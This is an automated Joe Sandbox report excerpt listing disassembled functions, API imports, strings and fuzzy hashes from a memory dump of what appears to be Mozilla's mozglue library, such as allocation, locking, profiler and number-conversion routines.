Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 9c71a1392975c6dfae8972a0bcc8d58b827fff5cfd8833513c9aaca2399b7714
Instruction ID: 93b59acdde5216a60d4f10057fe2e557b10d7efc1c757566065d20869a3c7795
Opcode Fuzzy Hash: 9c71a1392975c6dfae8972a0bcc8d58b827fff5cfd8833513c9aaca2399b7714
Instruction Fuzzy Hash: 8521B6317012299BDF04CF66D884BEA7379AF85708F501928D90DA7B40DB35A409CFEC

Function 6C64CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CDA4

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

Part of subcall function 6C64D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C64CDBA,00100000,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D158
Part of subcall function 6C64D130: InitializeConditionVariable.KERNEL32(00000098,?,6C64CDBA,00100000,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CDC4

Part of subcall function 6C647480: ReleaseSRWLockExclusive.KERNEL32(?,6C641385,?,?,?,?,6C641385,?), ref: 6C6474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CECC

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

Part of subcall function 6C63CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C64CEEA,?,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000), ref: 6C63CB57
Part of subcall function 6C63CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C63CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C64CEEA,?,?), ref: 6C63CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D058

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ee7579894da43cf9eeb90959b6623b772520dd4e75d3b4d285d33a960f34ef8
Instruction ID: 95ccfe17cd3929744b5c0b61dc9097c81dd786afe3c6e8cb3604fe23882bc151
Opcode Fuzzy Hash: 2ee7579894da43cf9eeb90959b6623b772520dd4e75d3b4d285d33a960f34ef8
Instruction Fuzzy Hash: F6D17E71A04B469FD748CF28C580B99F7E1BF89308F01862DD8598B712EB31E9A5CBC5

Function 6C601720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6017B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6018EE
free.MOZGLUE(?), ref: 6C601911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60194C

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5508bf70572a70688cc8c65177d18098db5ac647652386345b10282861b3afee
Instruction ID: 0b3ea75ba372244b3fad19a88d4ded35d87e85cdc4eaf7b784ca6fbdff16a4c1
Opcode Fuzzy Hash: 5508bf70572a70688cc8c65177d18098db5ac647652386345b10282861b3afee
Instruction Fuzzy Hash: 0381BE70B102059FDB08CF68D9849EEBBB5FF89318F04462CE811AB754D730E949CBA6

Function 6C615C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C615D40
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67
__aulldiv.LIBCMT ref: 6C615DB4
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 570c4e7bae43729b59b25c2d7f7ecf8bfe2fd270eca2ad277f00e867cbdb8e08
Instruction ID: 8f2e9d396109a85c0f3f3e8bfa1d3e5aee4f4687604380c757f626cd5365bec2
Opcode Fuzzy Hash: 570c4e7bae43729b59b25c2d7f7ecf8bfe2fd270eca2ad277f00e867cbdb8e08
Instruction Fuzzy Hash: 39515F71E041298FDF09CF6DC895AAEFBF1FB85304F194A19D811A7B50C7306945CBA9

Function 6C5FCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5FCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5FCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5FCF4E

Strings

0, xrefs: 6C5FCF30

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 217eedc9f4bf77684e042ee49bde7aac7b872ce6707e8217a18e78b038b6aa2d
Instruction ID: f6d83d0ebd0cfff47b9a03cf182e77d9d6a9d45228ee6bea904bdc9937f3feef
Opcode Fuzzy Hash: 217eedc9f4bf77684e042ee49bde7aac7b872ce6707e8217a18e78b038b6aa2d
Instruction Fuzzy Hash: 4A511271A002168FCB15CF18C890A9AFBA5EF99300F1985A9D9595F751D331BD06CBE0

Function 6C6577D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6577FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C657829

Part of subcall function 6C62CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5F31A7), ref: 6C62CC45
Part of subcall function 6C62CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5F31A7), ref: 6C62CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C65789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6578CF

Part of subcall function 6C5F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5F4E5A
Part of subcall function 6C5F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F4E97

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: eeafedfc97916006a68b17224a10b0a88ca3bf3d564e839e59a58bf1c6a4d5a9
Instruction ID: 8a6dc0ef3cee6eb4efe726f8ecc0089a0ef248e730e64b023ba57ce2919b6b18
Opcode Fuzzy Hash: eeafedfc97916006a68b17224a10b0a88ca3bf3d564e839e59a58bf1c6a4d5a9
Instruction Fuzzy Hash: D541CD71914B069FD300DF29C88056AFBF4FFCA214F604A2EE4A987640DB30D95ACBD6

Function 6C636470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200), ref: 6C63649B

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000200), ref: 6C6364A9

Part of subcall function 6C62FA80: GetCurrentThreadId.KERNEL32 ref: 6C62FA8D
Part of subcall function 6C62FA80: AcquireSRWLockExclusive.KERNEL32(6C67F448,?,6C62FA1F,?,?,6C605407), ref: 6C62FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C63653F
free.MOZGLUE(?), ref: 6C63655A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: b4066da119322cdafbdd808c24f6646fa7de49b61be98fa059e7042ada99f573
Instruction ID: 6d63a715a4b0a18f9834a7a7e1326f4c8fcc37f44fe77a8fcc350c9f7205e66f
Opcode Fuzzy Hash: b4066da119322cdafbdd808c24f6646fa7de49b61be98fa059e7042ada99f573
Instruction Fuzzy Hash: 6C3190B5A04315AFD704CF15D884A9FBBE4FF89314F10882EE85A97740DB34E919CB9A

Function 6C62FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?), ref: 6C62FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?), ref: 6C62FFF5
free.MOZGLUE(?,?,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?), ref: 6C63001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?), ref: 6C63002A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2499f692f672f45ad74d580f1adbc02340eccfff6d036e664b4d5937063e98d5
Instruction ID: d6468c02c52d0fc3989581185c9ab1a1b11a0183fbac8912cf3c3d790626d39a
Opcode Fuzzy Hash: 2499f692f672f45ad74d580f1adbc02340eccfff6d036e664b4d5937063e98d5
Instruction Fuzzy Hash: 7E2106B2E002215BC7189E789C848AFB7BAEB853247250338E525E7780EB719D0186DA

Function 6C60B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60B4F5
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60B502
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60B542
free.MOZGLUE(?), ref: 6C60B578

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d02fddd821e10e0d252a6be5d9d322ba1e780ecb2394e11df1dff90150ac6408
Instruction ID: 095720ad95ab930626194cf277a4066a9c86aadb1d26f4a9baa9f6891843685c
Opcode Fuzzy Hash: d02fddd821e10e0d252a6be5d9d322ba1e780ecb2394e11df1dff90150ac6408
Instruction Fuzzy Hash: FF11E130A04B51C7D3178F2AC5447A5B3B0FFD6318F109B4AE84963A02EBB0B1D58BAD

Function 6C633DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5FF20E,?), ref: 6C633DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5FF20E,00000000,?), ref: 6C633DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C633E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C633E0E

Part of subcall function 6C62CC00: GetCurrentProcess.KERNEL32(?,?,6C5F31A7), ref: 6C62CC0D
Part of subcall function 6C62CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5F31A7), ref: 6C62CC16

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a0b9ba8602571abcbe24a51dc04af77728d0be90074dbf3d8bbce58b4dd2addd
Instruction ID: edf3b4cf258d153878da459380e8cff0542ab6783994dd642fc1f5abae8afc73
Opcode Fuzzy Hash: a0b9ba8602571abcbe24a51dc04af77728d0be90074dbf3d8bbce58b4dd2addd
Instruction Fuzzy Hash: CAF05EB16002187BEB05AB55DC85DAB376CDB86624F040420FD0957740D639B9158AFF

Function 6C642050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C64201B,?,?,?,?,?,?,?,6C641F8F,?,?), ref: 6C642064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64208E
free.MOZGLUE(?,?,?,00000000,?,6C64201B,?,?,?,?,?,?,?,6C641F8F,?,?), ref: 6C6420A3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: db9dbdd9c1f7ea1525b24af34eda23e8a3f7192c6c73b5c17c4935bed2fd4c95
Instruction ID: ef9956c5e5fe4947df79ff37cd0b357ad836f020c1ae65d56ec1443f716e3d5f
Opcode Fuzzy Hash: db9dbdd9c1f7ea1525b24af34eda23e8a3f7192c6c73b5c17c4935bed2fd4c95
Instruction Fuzzy Hash: 63F0B471104610DBD7118F17D88875BBBF8EFC6365F10451AE50687711C771A806CBAD

Function 6C6485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6485D3

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C648725

Strings

map/set<T> too long, xrefs: 6C648720

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: fc2814dba19a6ace5f0c41e8134fe6258560d30bce6d23e24e24e8aa40387c87
Instruction ID: efb289a773ddb3045f267e2288c542c1b4e45aecc6d195a3a5672628783c3c39
Opcode Fuzzy Hash: fc2814dba19a6ace5f0c41e8134fe6258560d30bce6d23e24e24e8aa40387c87
Instruction Fuzzy Hash: 1E5143746006418FD741CF18C194A9ABBF1BF4A318F18C29AD8599BB62C375EC85CFDA

Function 6C5FBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5FBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5FBE8F

Strings

0, xrefs: 6C5FBE5B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3d22e93eee1722e5d9a485f9c5925c105a127e81bb033fe2440c36fc684ea009
Instruction ID: 90322e0196f1620212f4b71b9fd9cc95a9fd02c12627d351eb4232ae41131028
Opcode Fuzzy Hash: 3d22e93eee1722e5d9a485f9c5925c105a127e81bb033fe2440c36fc684ea009
Instruction Fuzzy Hash: 1E41B271908745CFC305EF29C881A9BB7F4AF8A348F008A1DF99597611D730D94A8F92

Function 6C633CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C633D19
mozalloc_abort.MOZGLUE(?), ref: 6C633D6C

Strings

d, xrefs: 6C633D58

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 314ab959197f7719a43079914129071714268c1b3e0e17708b395f637ce40e06
Instruction ID: 03b0fb3fc22c812d460c81e0486a95f5edc683c779c149bcbeac8c3d8f5bbcf4
Opcode Fuzzy Hash: 314ab959197f7719a43079914129071714268c1b3e0e17708b395f637ce40e06
Instruction Fuzzy Hash: 15110831E046989BDB068F6AC8544EDB7B5EF86318F44B628DC4997601EB30A5C9C758

Function 6C604730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6044B2,6C67E21C,6C67F7F8), ref: 6C60473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C60474A

Strings

GetNtLoaderAPI, xrefs: 6C604744

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 2dfd432c2c31fadb0f5ac0bd87b345cc957f8d54d949c9a54ae7f14d0207d74c
Instruction ID: 0251860e133c8cff801b7e5fa603ab64dacd565e9a992c98bcb0d873b09282dc
Opcode Fuzzy Hash: 2dfd432c2c31fadb0f5ac0bd87b345cc957f8d54d949c9a54ae7f14d0207d74c
Instruction Fuzzy Hash: DF018C753062249FDF199F668888A697BB9EB8B311F140869EA05D7300DB70D8018FBA

Function 6C656DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C656E22
__Init_thread_footer.LIBCMT ref: 6C656E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C656E1D

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: a2d2093f8ab4a3e02e54a2ea5178750cc375d4da9e92eab97db76b0f34568fdc
Instruction ID: 1202d4fb06182539dcaf529e1a4e116aec731dd303cac1ec87195060fb609e8e
Opcode Fuzzy Hash: a2d2093f8ab4a3e02e54a2ea5178750cc375d4da9e92eab97db76b0f34568fdc
Instruction Fuzzy Hash: 73F0243430E240CBDB168B79CCA4EC133725B03329F540965C44546BA1DB21E527CEBF

Function 6C609E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C609EEF

Strings

NaN, xrefs: 6C609EC1
Infinity, xrefs: 6C609EB7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: bb2ba694f2d0904197c17811d3087ef1d4f8071cb426b4b4897a1efc21763548
Instruction ID: b3967efd2fa175d51e08b065c3124384a3561d0d3899b57864e19ddaaa41f5db
Opcode Fuzzy Hash: bb2ba694f2d0904197c17811d3087ef1d4f8071cb426b4b4897a1efc21763548
